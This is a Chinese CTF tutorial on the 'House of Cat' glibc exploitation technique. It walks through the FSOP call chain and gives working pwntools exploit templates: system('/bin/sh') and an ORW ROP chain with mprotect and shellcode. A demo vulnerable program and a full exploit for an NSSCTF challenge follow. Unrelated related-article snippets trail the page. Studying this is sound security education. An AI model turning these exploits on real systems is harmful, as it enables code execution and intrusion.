当前位置: 首页 > news >正文

深入理解 House of Cat

Index

    • 序言
    • 利用 FSOP 调用 House of Cat
      • 利用条件
      • 伪造IO流条件
      • 完整调用链分析
    • 模板
      • System (one_gadget) 模板
      • ORW模板
    • Demo & Exp
    • 利用 __malloc_assert 调用 House of Cat
    • 例题:
      • 题目
      • 思路
      • Exp

序言

原文章:深入理解 House of Cat

随着 GNU 持续不断的更新,在 Glibc 2.34,__free_hook 以及 __malloc_hook 和其他一系列 hook 函数全部被移除,意味着如果题目开了 Full RELRO,我们几乎无从下手…?

事实上,我们还有 _IO_FILE 结构体可以进行利用。但是随着 GNU 的更新,_IO_FILE 结构体的利用方式也逐渐开始被封杀。本篇文章会深入分析一种 _IO_FILE 的利用方式 — House of Cat。

House of Cat 可以在任意版本利用,但是三种触发方式,有一种从高版本被移出Libc, _malloc_assert 在 Glibc 2.35 之后被移除,目前只剩下一种利用方式仍然可以打任意版本:FSOP。

利用 FSOP 调用 House of Cat

FSOP,全称 File Stream Oriented Programming,是一种通过伪造 _IO_FILE 结构体来实现的攻击,FSOP的完整调用链如下(仅包含关键函数):

exit() --> __run_exit_handlers --> _IO_cleanup --> _IO_flush_all_lockp --> _IO_wfile_seekoff --> _IO_switch_to_wget_mode --> _IO_switch_to_wget_mode 的 call rax。

利用条件

  1. 能够写一个可控地址

  2. 能够泄露堆地址以及Libc基址

  3. 能够触发IO流(FSOP,__malloc_assert)

伪造IO流条件

  1. _IO_save_base > 0

  2. _IO_write_ptr > _IO_write_base

  3. mode > 0 (mode = 1)

完整调用链分析

exit() 函数会调用 __run_exit_handlers 进行收尾工作,在处理 _IO_FILE 结构体时,会调用 _IO_cleanup 函数。

在这里插入图片描述
在这里插入图片描述

而 _IO_cleanup 函数的内部又调用了 _IO_flush_all_lockp 函数。_IO_flush_all_lockp 函数会刷新链表 _IO_list_all 中的所有项。相当于为每个 _IO_FILE 结构体调用 fflush ,同时也调用了 _IO_FILE_plus.vtable 中的 _IO_overflow 。

在这里插入图片描述
在这里插入图片描述

_IO_OVERFLOW 实际上是一个宏定义函数,展开如下:

#define _IO_OVERFLOW(FP, CH) JUMP1 (__overflow, FP, CH)

#define JUMP1(FUNC, THIS, X1) (_IO_JUMPS_FUNC(THIS)->FUNC) (THIS, X1)

#define _IO_JUMPS_FUNC(THIS) (IO_validate_vtable (_IO_JUMPS_FILE_plus (THIS)))

实际上调用 _IO_OVERFLOW 宏就是先调用 JUMP1 宏先调用 _IO_JUMPS_FUNC 宏,_IO_JUMPS_FUNC 会先调用 IO_validate_vtable 函数来检测一遍对应虚函数的偏移是否位于一个合理区间,如果不合理会直接抛出致命错误然后退出程序。

在这里插入图片描述
在这里插入图片描述

通过劫持 vtable 指向的函数到我们所需的特定函数: _IO_wfile_seekoff 我们得以进行利用。

为什么一定要是 _IO_wfile_seekoff 呢?在上文我们调用 _IO_flush_all_lockp 时,存在这么几个条件令我们得以成功调用 _IO_OVERFLOW 宏。

在这里插入图片描述

也就是:

  1. _IO_FILE 结构体的 mode 必须大于0

  2. _wide_data 指向的 _IO_FILE 结构体的 _IO_write_ptr 必须大于 _IO_write_base

  3. vtable 的偏移必须为0

这三个条件都是可以达成的,我们可以通过伪造 _IO_FILE 结构体实现,再看看 _IO_wfile_seekoff 函数。

在这里插入图片描述

眼熟吗?_wide_data 指向的 _IO_FILE 结构体的 _IO_write_ptr 必须大于 _IO_write_base,mode 大于0。刚好全部满足。

我们伪造的条件会使得我们进入最底下的语句。

  if (was_writing && _IO_switch_to_wget_mode (fp))return WEOF;

我们来查看 _IO_switch_to_wget_mode 做了什么事。

在这里插入图片描述

然后劫持 _IO_WOVERFLOW 的地址我们就可以做到直接GetShell或者ORW。

在这里插入图片描述

_IO_switch_to_wget_mode 中存在这么几条汇编代码:

<_IO_switch_to_wget_mode+4>     mov    rax, qword ptr [rdi + 0xa0]
<_IO_switch_to_wget_mode+15>    mov    rdx, qword ptr [rax + 0x20]
<_IO_switch_to_wget_mode+25>    mov    rax, qword ptr [rax + 0xe0]<_IO_switch_to_wget_mode+37>    call   qword ptr [rax + 0x18]

而 _IO_switch_to_wget_mode 的RDI寄存器刚好是我们的 _IO_FILE 结构体的地址。

在这里插入图片描述

那么利用链就很清晰了:

exit() --> __run_exit_handlers --> _IO_cleanup --> _IO_flush_all_lockp --> _IO_wfile_seekoff --> _IO_switch_to_wget_mode --> _IO_switch_to_wget_mode 的 call rax。

我们只需要构造(覆写)_IO_FILE 结构体,即可完成利用。

模板

Pwntools 自带的 FileStrcture 不带 _mode,无法拿来写模板。

这里使用的是 RoderickChan 师傅的 pwncli 库中的 IO_FILE_plus_struct 类,我把这个类提取出来放到自己的库里了。

System (one_gadget) 模板

fake_io_addr = libc_base + libc.sym['_IO_2_1_stderr_']  # 伪造的fake_IO结构体的地址Fake_IO_File_Structure = IO_FILE_plus_struct(fake_io_addr)
Fake_IO_File_Structure.flags = b'/bin/sh\x00'
Fake_IO_File_Structure._IO_save_base = p64(1)                                           # RCX
Fake_IO_File_Structure._IO_backup_base = p64(fake_io_addr + 0x120 - 0xa0)               # mov    rdx, qword ptr [rax + 0x20]
Fake_IO_File_Structure._IO_save_end = p64(system)                                       # call   qword ptr [rax + 0x18]
Fake_IO_File_Structure._wide_data = p64(fake_io_addr + 0x30)                            # mov    rax, qword ptr [rdi + 0xa0]
Fake_IO_File_Structure._offset = 0
Fake_IO_File_Structure._vtable_offset = 0
Fake_IO_File_Structure._mode = 1
Fake_IO_File_Structure.vtable = p64(libc_base + libc.sym['_IO_wfile_jumps'] + 0x30)Fake_IO_File_Structure = bytes(Fake_IO_File_Structure)
Fake_IO_File_Structure += p64(0) * 6
Fake_IO_File_Structure += p64(fake_io_addr + 0x40)                                      # mov    rax, qword ptr [rax + 0xe0]

ORW模板

Fake_IO_File_Structure = IO_FILE_plus_struct(fake_io_addr)
Fake_IO_File_Structure._IO_save_base = p64(1)                                           # RCX
Fake_IO_File_Structure._IO_backup_base = p64(fake_io_addr + 0x120 - 0xa0)               # mov    rdx, qword ptr [rax + 0x20]
Fake_IO_File_Structure._IO_save_end = p64(setcontext)                                   # call   qword ptr [rax + 0x18]
Fake_IO_File_Structure._wide_data = p64(fake_io_addr + 0x30)                            # mov    rax, qword ptr [rdi + 0xa0]
Fake_IO_File_Structure._offset = 0
Fake_IO_File_Structure._vtable_offset = 0
Fake_IO_File_Structure._mode = 1
Fake_IO_File_Structure.vtable = p64(libc_base + libc.sym['_IO_wfile_jumps'] + 0x30)Fake_IO_File_Structure = bytes(Fake_IO_File_Structure)
Fake_IO_File_Structure += p64(0) * 6
Fake_IO_File_Structure += p64(fake_io_addr + 0x40)                                      # mov    rax, qword ptr [rax + 0xe0]
Fake_IO_File_Structure = Fake_IO_File_Structure.ljust(0x120, b'\x00') + p64(fake_io_addr + 0x128) + p64(ret)
rop = p64(rdi) + p64((fake_io_addr >> 12) << 12) + p64(rsi) + p64(0x1000) + p64(rdx_r12) + p64(7) * 2 + p64(mprotect) + p64(fake_io_addr + 0x178) + asm(shellcraft.cat('/flag'))Fake_IO_File_Structure += rop

为什么需要设置 _IO_save_base 为1?

在 _IO_flush_all_lockp 函数中,有这2句代码:

<_IO_flush_all_lockp+183>    mov    rcx, qword ptr [rax + 0x18]         RCX, [_IO_2_1_stderr_+72] => 1
<_IO_flush_all_lockp+187>    cmp    qword ptr [rax + 0x20], rcx         0x7f93da3c4720 - 0x1     EFLAGS => 0x212 [ cf pf AF zf sf IF df of ]

这里会调用 _IO_2_1_stderr+72 ,也就是 _IO_save_base 的内容,并赋值给RCX寄存器。

在下文中,如果RCX寄存器为0,就会跳转到另一端代码执行:

<_IO_wfile_seekoff+48>    test   ecx, ecx                        1 & 1     EFLAGS => 0x202 [ cf pf af zf sf IF df of ]
<_IO_wfile_seekoff+50>    je     _IO_wfile_seekoff+1080      <_IO_wfile_seekoff+1080><_IO_wfile_seekoff+1080>    cmp    qword ptr [rax + 0x30], 0       0 - 0     EFLAGS => 0x246 [ cf PF af ZF sf IF df of ]
<_IO_wfile_seekoff+1085>  ✔ je     _IO_wfile_seekoff+1504      <_IO_wfile_seekoff+1504>

这里上面两句对应的是

  if (mode == 0)return do_ftell_wide (fp);

可以从汇编看出来
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
当RCX为0时,程序进入了这段 if 语句。执行了 do_ftell_wide 函数,如果进入了 do_ftell_wide ,则不会执行我们想要劫持到的函数 _IO_switch_to_wget_mode 。

想劫持到哪就直接替换 _IO_save_end 指向的内容即可。

Demo & Exp

Libc:
在这里插入图片描述

#include <stdio.h>int main()
{puts("Gift");printf("Address of puts: %p\n", (void*)&puts);puts("Address showed.");read(0, (void*)stderr, 0x1000);return 0;
}
from PwnModules import *io, elf = get_utils('./demo.out', True, 'node5.anna.nssctf.cn', 23749)
init_env()
libc = ELF('/home/kaguya/PwnExp/Libc/NSS/2.35/libc.so.6')io.recvuntil(b'puts: ')
libc_base = recv_int_addr(io, 14) - libc.sym['puts']
show_addr('Addr: ', libc_base)ret = libc_base + 0x29cd6
rdi = libc_base + 0x2a3e5
rsi = libc_base + 0x2be51
rdx_r12 = libc_base + 0x11f497
mprotect = libc_base + libc.sym['mprotect']
setcontext = libc_base + libc.sym['setcontext'] + 61
system = libc_base + libc.sym['system']
binsh = libc_base + next(libc.search(b'/bin/sh'))fake_io_addr = libc_base + libc.sym['_IO_2_1_stderr_']  # 伪造的fake_IO结构体的地址# ORW 就取消掉 setcontext 等的注释即可。Fake_IO_File_Structure = IO_FILE_plus_struct(fake_io_addr)
Fake_IO_File_Structure.flags = b'/bin/sh\x00'
Fake_IO_File_Structure._IO_save_base = p64(1)                                           # RCX
Fake_IO_File_Structure._IO_backup_base = p64(fake_io_addr + 0x120 - 0xa0)               # mov    rdx, qword ptr [rax + 0x20]
Fake_IO_File_Structure._IO_save_end = p64(system) # p64(setcontext)                                   # call   qword ptr [rax + 0x18]
Fake_IO_File_Structure._wide_data = p64(fake_io_addr + 0x30)                            # mov    rax, qword ptr [rdi + 0xa0]
Fake_IO_File_Structure._offset = 0
Fake_IO_File_Structure._vtable_offset = 0
Fake_IO_File_Structure._mode = 1
Fake_IO_File_Structure.vtable = p64(libc_base + libc.sym['_IO_wfile_jumps'] + 0x30)Fake_IO_File_Structure = bytes(Fake_IO_File_Structure)
Fake_IO_File_Structure += p64(0) * 6
Fake_IO_File_Structure += p64(fake_io_addr + 0x40)                                      # mov    rax, qword ptr [rax + 0xe0]
Fake_IO_File_Structure = Fake_IO_File_Structure.ljust(0x120, b'\x00') # + p64(fake_io_addr + 0x128) + p64(ret)
# rop = p64(rdi) + p64((fake_io_addr >> 12) << 12) + p64(rsi) + p64(0x1000) + p64(rdx_r12) + p64(7) * 2 + p64(mprotect) + p64(fake_io_addr + 0x178) + asm(shellcraft.cat('/flag'))# Fake_IO_File_Structure += ropshow_addr('_IO_2_1_stderr_: ', fake_io_addr)
show_addr('_IO_2_1_stdout_', libc_base + libc.sym['_IO_2_1_stdout_'])io.send(Fake_IO_File_Structure)io.interactive()

在这里插入图片描述

利用 __malloc_assert 调用 House of Cat

调用方式变成直接攻击 Top Chunk 即可。

满足以下三个条件之一即可触发 __malloc_assert

Top Chunk 的大小小于 MINSIZE(0x20)

Prev Inuse 位为0

Old_Top 页未对齐

例题:

题目

[NSSRound#14 Basic]Girlfriends’ notebooks

思路

使用 House of Orange 的思路,伪造 Top Chunk 的 size,释放旧 Top Chunk,泄露Libc基址

然后打 House of Cat 使用 ORW 输出 Flag。

Exp

from PwnModules import *io, elf = get_utils('./Girlfriendsnotebooks', True, 'node5.anna.nssctf.cn', 23749)
init_env()
libc = ELF('/home/kaguya/PwnExp/Libc/NSS/2.35/libc.so.6')def add(idx, size, data):io.sendlineafter(b': ', b'1')io.sendlineafter(b': ', str(idx))io.sendlineafter(b': ', str(size))io.sendafter(b': ', data)def show(idx):io.sendlineafter(b': ', b'2')io.sendlineafter(b': ', str(idx))def edit(idx, data):io.sendlineafter(b': ', b'4')io.sendlineafter(b': ', str(idx))io.sendafter(b': ', data)add(4, 0x108, p64(0) * 33 + p64(0xf51))
add(5, 0x1000, b'a' * 8)
add(6, 0xf00, b'a' * 8)
show(6)libc_base = leak_addr(2, io) - 0x21a2f0
show_addr('Addr: ', libc_base)ret = libc_base + 0x29cd6
rdi = libc_base + 0x2a3e5
rsi = libc_base + 0x2be51
rdx_r12 = libc_base + 0x11f497
mprotect = libc_base + libc.sym['mprotect']
setcontext = libc_base + libc.sym['setcontext'] + 61fake_io_addr = libc_base + libc.sym['_IO_2_1_stderr_']  # 伪造的fake_IO结构体的地址
Fake_IO_File_Structure = IO_FILE_plus_struct(fake_io_addr)
Fake_IO_File_Structure._IO_save_base = p64(1)                                           # RCX
Fake_IO_File_Structure._IO_backup_base = p64(fake_io_addr + 0x120 - 0xa0)               # mov    rdx, qword ptr [rax + 0x20]
Fake_IO_File_Structure._IO_save_end = p64(setcontext)                                   # call   qword ptr [rax + 0x18]
Fake_IO_File_Structure._wide_data = p64(fake_io_addr + 0x30)                            # mov    rax, qword ptr [rdi + 0xa0]
Fake_IO_File_Structure._offset = 0
Fake_IO_File_Structure._vtable_offset = 0
Fake_IO_File_Structure._mode = 1
Fake_IO_File_Structure.vtable = p64(libc_base + libc.sym['_IO_wfile_jumps'] + 0x30)Fake_IO_File_Structure = bytes(Fake_IO_File_Structure)
Fake_IO_File_Structure += p64(0) * 6
Fake_IO_File_Structure += p64(fake_io_addr + 0x40)                                      # mov    rax, qword ptr [rax + 0xe0]
Fake_IO_File_Structure = Fake_IO_File_Structure.ljust(0x120, b'\x00') + p64(fake_io_addr + 0x128) + p64(ret)rop = p64(rdi) + p64((fake_io_addr >> 12) << 12) + p64(rsi) + p64(0x1000) + p64(rdx_r12) + p64(7) * 2 + p64(mprotect) + p64(fake_io_addr + 0x178) + asm(shellcraft.cat('/flag'))Fake_IO_File_Structure += ropshow_addr('Addr: ', fake_io_addr)# debug(io)
edit(-4, Fake_IO_File_Structure)io.interactive()

相关文章:

深入理解 House of Cat

Index 序言利用 FSOP 调用 House of Cat利用条件伪造IO流条件完整调用链分析 模板System (one_gadget) 模板ORW模板 Demo & Exp利用 __malloc_assert 调用 House of Cat例题&#xff1a;题目思路Exp 序言 原文章&#xff1a;深入理解 House of Cat 随着 GNU 持续不断的更…...

【Linux玩物志】Linux环境开发基本工具使用(1)——vim

W...Y的主页 &#x1f60a; 代码仓库分享&#x1f495; Linux开发工具 首先我们要知道vim是什么&#xff1f; vi&#xff08;Visual Editor&#xff09;是由美国程序员比尔乌尔曼&#xff08;Bill Joy&#xff09;于1976年开发的&#xff0c;最初是为了在Unix系统上进行文本编…...

Lora训练Windows[笔记]

一. 使用kohya_ss的GUI版本&#xff08;https://github.com/bmaltais/kohya_ss.git&#xff09; 这个版本跟stable-diffusion-webui的界面很像&#xff0c;只不过是训练模型专用而已&#xff0c;打开的端口同样是7860。 1.双击setup.bat,选择1安装好xformers,pytorch等和cuda…...

nuget局域网在线包制作,nuget打包,nuget打自己的包

目录 首先编辑类库项目的.csproj文件信息 打包项目 设置局域网nuget包 Nuget包管理器--->程序包源 微软帮助文档&#xff1a; NuGet 及其功能介绍 | Microsoft Learn https://learn.microsoft.com/zh-cn/nuget/what-is-nuget 承载自己的 NuGet 源 https://learn.mic…...

Ubuntu 24 换国内源及原理 (阿里源)

备份原文件 sudo cp /etc/apt/sources.list.d/ubuntu.sources /etc/apt/sources.list.d/ubuntu.sources.bak 编辑源文件 sudo gedit /etc/apt/sources.list.d/ubuntu.sources &#xff08;阿里源&#xff09; Types: deb deb-src URIs: https://mirrors.aliyun.com/ubunt…...

python学习-使用pandas库分析excel表,并导出所需的表

核心代码 # 导入pandas库 import pandas as pd # 导入正则表达式包 import re# 指定Excel文件的路径&#xff0c;这个data.xlsx表为原始表&#xff0c;表内有40个sheet子表 file_path data.xlsx # 读取各个子表 allDf pd.read_excel(file_path, sheet_nameNone) # 获取各个子…...

Python中使用C扩展详解

文章目录 1. Python/C API示例2. Cython示例3. ctypes关于C扩展的进一步讨论安全性和兼容性性能优化策略调试C扩展发布和分发C扩展 应用实例&#xff1a;加速矩阵乘法运算1. 准备C扩展代码2. 编译C扩展3. 在Python中使用C扩展 在Python中&#xff0c;使用C扩展是一种提高程序性…...

llama使用tutorial微调(windows版本)

Llama3-Tutorial/docs/assistant.md at main SmartFlowAI/Llama3-Tutorial GitHub 有一些命令需要修改 前期的安装还是要按照教程搞的 streamlit run ~/Llama3-Tutorial/tools/internstudio_web_demo.py \ ~/model/Meta-Llama-3-8B-Instruct 改为了 streamlit run .\Ll…...

MyBatis操作数据库(动态SQL)

1 动态SQL 动态SQL是MyBatis的特征之一&#xff0c;能够完成不同条件下不同的SQL拼接 1.1 <if>标签 在注册用户的时候&#xff0c;可能会有这样一个问题&#xff0c;由于注册分为两种字段&#xff1a;必填字段和非必填字段&#xff0c;如果在添加用户的时候有不确定的…...

python发票真伪查验开发文档、票据OCR、数电票查验

想象一下&#xff0c;只需一行行简洁的代码&#xff0c;复杂繁琐的发票审核工作瞬间变得井然有序。翔云发票查验开发文档详尽易懂&#xff0c;即便是Python新手也能迅速上手&#xff0c;搭建起自己的发票真伪查验系统。无论是纸质发票的扫描图像&#xff0c;还是电子发票的数据…...

Unity构建详解(12)——自动构建

【前言】 自动构建是指整个构建流程不需要人工操作&#xff0c;只需要输入启动构建指令即可获取构建结果。实现这样的自动构建需要满足以下条件&#xff1a; 支持命令行参数启动 我们不可能每次构建时都打开Unity去手动点击构建&#xff0c;必须支持通过命令行启动Unity自动执…...

中文编程降低了中文环境下编程入门的门槛

近年来&#xff0c;随着编程技术的普及和中文编程环境的日益成熟&#xff0c;越来越多的开发者开始使用中文进行编程。中文编程不仅提高了代码的可读性和理解性&#xff0c;而且在一定程度上降低了中文环境下编程的入门门槛。本文将详细探讨中文编程的优势&#xff0c;以及它如…...

通过内网穿透免费部署我们的springboot+vue项目 实现跟服务器一样的效果

前文讲到通过内网穿透能够实现远程访问个人电脑的静态资源。本文将讲解通过内网穿透实现远程访问本地的项目&#xff0c;实现跟部署到服务器一样的效果&#xff1a;前文链接&#xff1a;通过内网穿透实现远程访问个人电脑资源详细过程&#xff08;免费&#xff09;&#xff08;…...

SMB攻击利用之-mimikatz上传/下载流量数据包逆向分析

SMB协议作为windows环境下最为常见的一种协议,在历史上出现过无数的通过SMB协议进行网络攻击利用的案例,包括针对SMB协议本身以及通过SMB协议实施网络攻击。 本文将介绍一种通过SMB协议的常见利用方式,即向远程主机传输mimikatz,作为我的专栏《SMB攻击流量数据包分析》中的…...

Mysql常见数据类型探索

Mysql常见数据类型探索 数值类型 MySQL 支持所有标准 SQL 数值数据类型。 这些类型包括严格数值数据类型(INTEGER、SMALLINT、DECIMAL 和 NUMERIC)&#xff0c;以及近似数值数据类型(FLOAT、REAL 和 DOUBLE PRECISION)。 关键字INT是INTEGER的同义词&#xff0c;关键字DEC是…...

2024 年第四届长三角高校数学建模竞赛赛题B题超详细解题思路+问题一二代码分享

2024年第四届长三角数学建模竞赛B题详细解题思路 赛道B&#xff1a;人工智能范式的物理化学家 长三角分享资料&#xff08;问题一代码论文思路&#xff09;链接&#xff08;18点更新&#xff09;&#xff1a; 链接&#xff1a;https://pan.baidu.com/s/1lteKvIWNZ4v-Gd7oOcg…...

干货速学!1+X电子商务数据分析:电子商务数据分析的流程

电商数据采集API接口 生活中的数据分析 日常工作和生活中处处都有数据分析的存在&#xff0c;比如消费者在购买不同商品前&#xff0c;经常会对儿“性价比”进行简单分析&#xff0c;价格表现为固定的货币数字。性能则具体体现在商品质量、客户收务等客观因素和客户对该商品的需…...

618好物推荐大赏:2024年必囤好物一网打尽,购物攻略助你抢购无忧!

在618购物狂欢节来临之际&#xff0c;我为大家精心挑选了一系列好物&#xff0c;它们不仅品质卓越&#xff0c;更能在日常生活中为我们带来无限便利与乐趣。这里的每一款产品都经过我严格筛选&#xff0c;只为给你最优质的购物体验。让我们一起在这个618&#xff0c;发现生活中…...

【MySQL】基础操作(DDL,DML,DCL,DQL)

安装教程自行搜索&#xff0c;网上有很多 用户名设置为 root密码设置为 123456可以不这样设置&#xff0c;但要记好用户名密码&#xff0c;相关的代码也要自行更改 打开命令提示符程序(winR打开输入cmd回车) 输入&#xff1a;mysql -uroot -p 回车输入密码即可进入命令行环境…...

工厂自动化升级改造(3)-Modbus与MQTT的转换

什么是MQTT,Modbus,见下面文章 工厂自动化升级改造参考(01)--设备通信协议详解及选型-CSDN博客文章浏览阅读608次,点赞9次,收藏6次。>>特点:基于标准的以太网技术,使用TCP/IP协议栈,支持高速数据传输和局域网内的设备通信。>>>特点:跨平台的通信协议,…...

InnoDB 事务处理机制

文章目录 前言1. 事务处理挑战1.1 事务机制处理的问题1.2 并发事务带来的问题 2. InnodDB 和 ACID 模型2.1 Innodb Buffer Pool2.2 Redo log2.3 Undo log2.4 应用案例 3. 隔离级别和锁机制3.1 事务隔离级别3.1.1 READ UNCOMMITTED3.1.2 READ COMMITTED3.1.3 REPEATABLE READ3.1…...

Thymeleaf

替代jsp 功能&#xff1a;服务器渲染&#xff08;就是将服务器的数据展示在网页上&#xff09; 1、MVC概念 model 模型 javaBean(User/Book/Order...) View视图 html 服务器的动态数据 Controller控制器 Servlet MVC是在表述层开发运用的一种设计理念。主张把封装数据…...

网络学习(一)|深入了解API网关:定义、功能和关键术语

文章目录 定义主要功能关键术语 定义 API 网关&#xff08;API Gateway&#xff09;是一个核心的服务架构组件&#xff0c;用于管理、路由和保护对后端服务的访问。它充当了系统内外的接口&#xff0c;负责接收来自客户端的请求&#xff0c;并将其路由到相应的后端服务&#x…...

基于yolov8+flask搭建一个web版本的网页模型预测系统

测试环境&#xff1a; anaconda3python3.8 torch1.9.0cu111 ultralytics8.2.2 首先我们将训练好的权重放在weights目录下面 并将名字改成yolov8n.pt&#xff0c;如果不想改可以在代码app.py都把路径改过来即可。然后我们打开 python app.py之后看到 我们点击选择文件支持图…...

【北京迅为】《iTOP-3588从零搭建ubuntu环境手册》-第8章 安装编译所需要的依赖包

RK3588是一款低功耗、高性能的处理器&#xff0c;适用于基于arm的PC和Edge计算设备、个人移动互联网设备等数字多媒体应用&#xff0c;RK3588支持8K视频编解码&#xff0c;内置GPU可以完全兼容OpenGLES 1.1、2.0和3.2。RK3588引入了新一代完全基于硬件的最大4800万像素ISP&…...

牛客热题:合并二叉树

牛客热题&#xff1a;二叉树与双向链表> &#x1f4df;作者主页&#xff1a;慢热的陕西人 &#x1f334;专栏链接&#xff1a;力扣刷题日记 &#x1f4e3;欢迎各位大佬&#x1f44d;点赞&#x1f525;关注&#x1f693;收藏&#xff0c;&#x1f349;留言 文章目录 牛客热题…...

conda 常用20个命令

conda常用20个命令 这些命令涵盖了Conda环境管理和包管理的常用功能&#xff0c;可帮助你有效地管理Python环境和软件包。 创建环境&#xff1a; conda create --name myenv这个命令用于创建一个名为myenv的新环境。你可以在--name后面指定环境的名称&#xff0c;并在其后加上…...

Git泄露(续)

接上一篇补充 git config --global user.name " " git config --global user.email 邮箱地址 配置用户名和邮箱 git commit 使其处于交互区&#xff0c;没有使用 -m&#xff0c;默认用vim 来编辑和提交信息 输入要提交的内容&#xff0c;然后按ESC建回到命令…...

clickhouse卸载与安装

ClickHouse是一个用于联机分析&#xff08;OLAP&#xff09;的列式数据库管理系统&#xff08;DBMS&#xff09;&#xff0c;来自于俄罗斯本土搜索引擎企业Yandex公司。它是为处理大规模数据集而设计的&#xff0c;并提供高性能和低延迟的查询支持。 注意&#xff1a;此教程的运…...

npm install [Error]

npm install 依赖的时候报错 依赖版本问题的冲突&#xff0c;忽视即可 使用 npm install --legacy-peer-deps...